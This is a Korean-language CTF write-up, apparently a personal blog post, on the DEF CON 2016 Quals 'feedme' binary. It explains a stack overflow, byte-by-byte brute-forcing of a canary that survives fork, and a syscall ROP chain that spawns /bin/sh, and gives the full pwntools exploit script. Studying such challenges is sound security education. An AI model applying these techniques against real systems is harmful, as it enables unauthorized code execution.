[Defcon 2016 Quals] feedme

2018. 7. 9. 00:40

항상 그렇지만... 삽질을 했다..


일단 바이너리 feedme를 주는데, 32비트 파일이다. stripped되있고 static compile되있어서 분석하는데 시간이 걸렸다 ㅡㅡ;

feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

바이너리를 실행하면 "FEED ME!"라고 나오면서 사용자로부터 입력받는데


첫 1바이트로 사용자로부터 얼마나 받을지를 결정하고, 그만큼 받는데 여기서 BOF가 일어난다.

그런데 중간에 Canary가 있어서 이 canary 우회가 필요하다.


이 프로그램에서는 FORK를 해서 프로그램이 끝나면 다시 자식으로 fork해서 실행하기때문에 항상 카나리값이 같으므로 bruteforce해서 카나리값을 알아낼 수 있다. 버퍼가 32만큼 있고 카나리가 4바이트가 있어서 32+예상되는 카나리값을 입력해서 *** stack smashing detected *** 가 뜬다면 카나리값이 틀린것이고 안뜬다면 맞는다는 것이므로 1바이트씩 브루트포싱하면 된다.


이렇게 Canary값을 알아내고 return address를 덮어서 프로그램 흐름을 조작할 수 있다.

그런데 static compile되있고 stripped되있어서 어디로 뛰어야할지 몰랐는데


syscall을 사용하면 된다는 것을 알게되었다.

sys_read(stdin, bss영역, 8) 해서 bss영역에 "/bin/sh\00"을 쓰고

sys_execve("/bin/sh\00", 0, 0) 해서 쉘을 실행시키면 된다.


필요한 가젯과 값은 아래 코드에 다 들어있다.

여기서 조심해야할 것은 sys_execve실행할 때 인자를 "/bin/sh\00"이 있는 주소와 NULL값 2개로 넣어주는 것이다.

"/bin/sh"를 넣거나 "/bin/sh;#"등을 넣으면 sys_execve로 실행이 안된다 ㅡㅡ; 이것때문에 개고생....

그리고 read해서 쓸때에도 8바이트를 넣어줘야 null바이트까지 읽고 써준다.


Exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
 
#context.log_level = 'debug'
= process("./feedme")
e= ELF('./feedme')
 
def FEED_ME(food):
    p.sendafter("FEED ME!",chr(len(food)))
    p.send(food)
 
canary = ""
 
for i in range(0,4):
    for c in range(0,256):
        FEED_ME("A"*32+canary+chr(c))
        if not "*** stack smashing detected ***" in p.recvuntil("Child exit."):
            canary+=chr(c)
            break
log.info("canary    : 0x%x " % u32(canary))
 
bss = e.bss()    # bss address
pop_eax = 0x809e17a    #pop eax, pop ebx, pop esi, pop edi, ret
pop_dcb = 0x806f370 #pop edx, pop ecx, pop ebx
 
syscall_ret = 0x806fa20    # int 0x80; ret
 
payload =  "A"*32    # buffer
payload += canary    # cannary
payload += "B"*8+"CCCC"    # dummy + sfp
payload += p32(pop_eax)    # ret
payload += p32(0x03)+"AAAA"*3 #sys_read
payload += p32(pop_dcb)    # sys_read(0, bss, 8);
payload += p32(8)    #/bin/sh\00 length
payload += p32(bss)
payload += p32(0#stdin
payload += p32(syscall_ret)    # syscall
 
payload += p32(pop_eax)
payload += p32(0x0b)+"AAAA"*3 #sys_execve    #http://syscalls.kernelgrok.com/
payload += p32(pop_dcb)    #sys_execve("/bin/sh", 0, 0);
payload += p32(0)*2
payload += p32(bss)
payload += p32(syscall_ret) # syscall
payload += "BBBB"
 
 
print(FEED_ME(payload))
p.send("/bin/sh\00")
p.interactive()
cs


+ Recent posts